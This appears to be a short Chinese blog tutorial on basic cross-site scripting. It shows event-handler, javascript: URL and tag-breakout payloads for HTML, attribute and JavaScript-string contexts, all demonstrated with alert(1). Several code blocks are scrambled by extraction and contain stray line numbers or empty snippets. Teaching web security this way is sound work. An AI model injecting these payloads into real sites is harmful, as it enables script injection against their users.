前言
聊一下基础的xss,等着huli大佬写奇淫技巧
触发js代码
一般来说是用script标签去触发的1
<script>alert(1)</script>
但是除了script标签,还可以用inline event handler来进行触发1
2
3
4
5<img src="not_exist" onerror="alert(1)">
<button onclick="alert(1)">点我</button>
<svg/onload=alert(1)>
常见的用来触发event handler的有
- onerror
- onload
- onfocus
- onblur
- onanimationend
- onclick
- onmouseenter
等等
当然还可以用伪协议去触发js1
<a href=javascript:alert(1)>Link</a>
这里有个值得注意的点,可以把href后面的伪协议当做字符串,这时候如果用了html编码也可以触发js1
<a href=javascript:alert(1)>Link</a>
在这个网站有更多的payload
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
不同的xss
注入html
1 |
|
这种就直接htmlspecialchar就可以过滤了,比较常见不多赘述了
注入属性
1 | <div id="content"></div> |
这段代码会获取get参数的clazz,并拼接到<div class="">
中
那么注入xss的方式有几种
第一种闭合div,增加一个标签1
"><img src=not_exist onerror=alert(1)>
那么代码就会变为1
2
3<div class=""><img src=not_exist onerror=alert(1)>">
Demo
</div>
第二种闭合”然后增加属性1
" tabindex=1 onfocus="alert(1)" x="
那么就会变成1
2
3<div class="" tabindex=1 onfocus="alert(1)" x="">
Demo
</div>
注入到js中
1 | <script> |
当代码是这样的时候?name=${alert(1)}
可以用这种语句去注入js
如果是用双引号的形式,如下1
2
3
4<script>
const name = "<?php echo htmlspecialchars($_GET['name']) ?>";
alert(name);
</script>
这样可能就没法进行注入js了,但是如果没有htmlspecialchars过滤的话,就可以用闭合"
或者闭合<script>
标签进行注入,在注入其他标签
例如1
2name=";alert(1);"
name=</script><img src=1 onerror=alert(1)>